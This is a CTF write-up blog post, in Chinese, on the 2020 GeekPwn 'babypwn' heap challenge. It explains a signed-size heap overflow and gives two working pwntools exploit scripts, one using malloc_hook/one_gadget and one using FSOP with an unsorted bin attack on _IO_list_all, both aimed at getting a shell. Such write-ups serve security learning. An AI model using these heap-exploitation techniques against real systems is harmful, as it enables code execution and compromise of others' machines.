2020 GeekPwn-babypwn

[toc]

1.查看文件

保护全开就想到两个思路了:IO_FILE攻击和劫持hook了

2.IDA分析

漏洞定位到create函数中的输入size的地方:

如果size输入0,那么就会绕过判断,同时会分配0x20 size的chunk,但是继续看readInfo功能:
由于size是个有符号数,为0的话减一恒比无符号数大,那么就可以无限溢出了。有了堆溢出,就好办了。

3.思路

3.1 思路一:劫持main_arena改top chunk

第一步:通过堆溢出改chunk size,释放掉产生unsorted bin,分配后造成chunk复用leak libc地址。
第二步:利用堆溢出再劫持main arena地址,改top chunk的地址为malloc hook上面的一个地址,在修改的时候发现改top chunk只要保证有个size就行了(size大小没关系),只要不回收top chunk就不会页对齐等检查。
第三步:改malloc hook为realloc hook+x,改realloc hook为one gadget来getshell
最后打通了发现程序禁了execve,只能执行system(“/bin/sh”),交涉一番无果,只得考虑第二个思路FSOP

3.2 思路二:FSOP

首先利用之前的方法将libc和heap地址泄露,再利用unsorted bin attack将io_list_all改为main_arena地址(同时该main_arena地址偏移0x68也就是chain同时也是0x60 smallbin的地址要伪造一个file来满足getshell的条件(猜想:由于io_file_list_all先指向stderr,stderr的chain指向stdout,所以伪造的时候也要按照这个模式))。同时在对应的chunk位置伪造io_file,并在地址+0xd8的地方伪造vtable,vtable里面都是system函数。
问题:(补充:不行的)
1.能不能io_file_list_all直接指向一个满足getshell条件的完整的fake file来getshell
2.能不能多次指向不完整的fake file,最后指向一个满足getshell条件的完整的fake file

原本的模式

能不能下面两个格式:

或:

注意伪造结构体的时候需要满足:
mode<=0;write_ptr > write_base才会最后调用vtable的overflow虚函数。
调用要求1.exit 2.执行流从main函数返回 3.malloc出错
函数执行步骤:malloc_printerr ->libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW

由于在这个地方卡了好久,决定好好再写一写:最初的思路
首先按照我的思路,需要一次unsorted bin攻击,还需要对应main_arena地址偏移0x68的chain处为一个file结构体。其对应的内容是0x60的smallbin。常规一个一个构造满足是无法完成的,至少我没有想到构造方法。因为unsorted bin攻击后就无法顺利释放chunk到unsorted bin中了,同时我们都知道想要smallbin的话是需要遍历查找unsorted bin没有满足才会将对应的0x60归入smallbin,但是我们注意到size大小是0x40以内,也就说明肯定会从0x60去切,注意一点(分配0x50的chunk会将该0x60chunk分配)

接下来就是神来之笔了
unsorted bin攻击并不是非要将该chunk分配,仅需要将其从双向链表中取出便可达到攻击效果。我们可以在最后利用分配chunk报错而实现这个目的,同时还可以改unsorted bin的size为0x60,不仅可以unsorted bin攻击成功归类的时候还可以产生我们需要的0x60的smallbin chunk。


最后神来之笔的源码解读

好了这下我们可以好好看看源码了
调用int_malloc函数的时候最开始遍历fastbin,smallbin接下来是largebin,最后是unsorted bin。

我们看到遍历unsorted bin的时候有这么一堆合法性检查,不通过就直接malloc_printerr了。在第一次执行前:里面的chunk大小是0x60,同时布置好了unsorted bin攻击,即bk改为io_file_list地址。

接下来再看后面会执行什么:

所以第一次会绕过合法性检查,成功的将0x60的chunk从unsorted bin取出放到smallbin中,这也就同时完成了创造0x60的smallbin和unsorted bin attack两个目的了,也就是一石二鸟了。

至于最后getshell是未能绕过检查直接进入malloc_printerr里面,进入__libc_message函数中

在__libc_message函数中调用abort函数

注意在该文件中将_IO_flush_all_lockp宏定义为fflush了

最后进入_IO_flush_all_lockp函数,看到通过一堆判断将执行overflow虚函数,第一个参数就是该file结构体的地址,所以当我们改为system的时候会将/bin/sh写在最前面

4.exp

4.1 exp(思路一):

#coding=utf-8
from pwn import *

context.log_level = "debug"
debug = 1
if debug:
    p = process("./pwn")
    elf = ELF("./libc.so")
    libc = ELF("./libc.so")
else:
    p = remote("183.60.136.226",14823)
    elf = ELF("./libc.so")
    libc = ELF("./libc.so")
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims              :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))

def create(name,size,content):
    sla("choice:","1")
    sa("name:",name)
    sla("size:",str(size))
    sa("tion:",content)

def delete(index):
    sla("choice:","2")
    sla("index:",str(index))

def show(index):
    sla("choice:","3")
    sla("index:",str(index))

# ------- leak libc -----------
create("\x11\n",0x10,"\x11\n") # 0
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 1
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 2
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 3
delete(0)
create("\x11\n",0,"\x11"*0x10+p64(0)+p64(0xb1)+"\n") # 0
delete(1)
create("\x11\n",0x40,"a"*0x40) # 1
show(2)
ru("Description:")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.symbols["__malloc_hook"]-0x10-88
success("libc addr ==>"+hex(libc.address))

create("\x11\n",0x30,"\n") # 4
create("\x11\n",0x10,"\n") # 5
create("\x11\n",0x10,"\x11\n") # 6
create("\x11\n",0x30,(p64(0)+p64(0x21))*3) # 7
create("\x11\n",0x30,(p64(0)+p64(0x21))*3) # 8
create("\x11\n",0x30,(p64(0)+p64(0x21))*3) # 9
delete(6)
create("\x11\n",0,"\x11"*0x10+p64(0)+p64(0x71)+"\n") # 6
delete(7)

delete(1)
delete(0)
create("\x11\n",0,"a"*0x10+p64(0)+p64(0x51)+p64(libc.symbols["__malloc_hook"]+0x10+45)+"\n") # 0
delete(8)
delete(9)
gdb.attach(p)
create("\x11\n",0x40,"a\n")
create("\x11\n",0x40,"\x00"*0x1b+p64(libc.symbols["__malloc_hook"]-0x18)+"\n")
create("\x11\n",0x40,p64(libc.address+one_gadgets[1])+p64(libc.symbols["realloc"]+13)+"\n")
sla("choice:","1")
sa("name:","aaa\n")
sla("size:",str(0x40))
p.interactive()

4.2 exp(思路二):

#coding=utf-8
from pwn import *

context.log_level = "debug"
debug = 1
if debug:
    p = process("./pwn")
    elf = ELF("./libc.so")
    libc = ELF("./libc.so")
else:
    p = remote("183.60.136.226",14823)
    elf = ELF("./libc.so")
    libc = ELF("./libc.so")
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims              :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))

def create(name,size,content):
    sla("choice:","1")
    sa("name:",name)
    sla("size:",str(size))
    sa("tion:",content)

def delete(index):
    sla("choice:","2")
    sla("index:",str(index))

def show(index):
    sla("choice:","3")
    sla("index:",str(index))

# ------- leak libc -----------
create("\x11\n",0x10,"\x11\n") # 0
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 1
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 2
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 3
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 4
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 5

delete(2)
delete(1)
create("\x11\n",0x40,"\n") # 1
show(1)
ru("Description:")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))-0x20
success("heap address ==> "+hex(heap_addr))
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 2
delete(0)
create("\x11\n",0,"\x11"*0x10+p64(0)+p64(0x91)+"\n") # 0
delete(1)
create("\x11\n",0x40,"a"*0x40) # 1
show(2)
ru("Description:")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.symbols["__malloc_hook"]-0x10-88
success("libc addr ==>"+hex(libc.address))

# ----------- FSOP Attack and unsorted bin attack----------------
create("\x11\n",0x30,"shinnosuke\n") # 6
delete(0)
create("\x11\n",0,"a"*0x10+p64(0)+p64(0xc1)+"\n") # 0
delete(1)
delete(0)
payload = "a"*0x10
payload+= "/bin/sh;"+p64(0x61)+p64(0)+p64(libc.sym["_IO_list_all"]-0x10) # unsorted bin attack,顺便修改下size为0x61
payload+= p64(2)+p64(3) # wtite_ptr > write_base
payload+= p64(0)*7
payload+= p64(heap_addr+0x100)
payload+= p64(0)*13
payload+= p64(heap_addr+0x100-0x50)
payload+= p64(libc.sym["system"])*8+"\n"
create("\x11\n",0,payload) # 0
gdb.attach(p)
sla("Input your choice:","1")
sa("name:",'\n')
sla("Description size:",str(0x10)) # 最后遍历的时候就完成了unsorted bin attack攻击和创造0x60大小的smallbin chunk
# gdb.attach(p)
p.interactive()

  Reprint policy: xiaoxin 2020 GeekPwn-babypwn

 Previous
2019-TSCTF-babykernel 2019-TSCTF-babykernel
0x00 前言这道题是2019-TSCTF的一道kernel题,出题人是17学长,拿过来假装是参加了2019 TSCTF的比赛。题目链接提取码:12wp 0x01 查看文件在windows中解压img文件,便可以得到里面的cpio文件。利用
Next 
个人感悟及经历 个人感悟及经历
截至7.29号总算把个人博客网站完善了,会更新一些自己的研究内容,包括但不限于开发、CTF比赛、漏洞调试,希望可以坚持写下去,在这里留下自己的一些东西。
2020-07-29
  TOC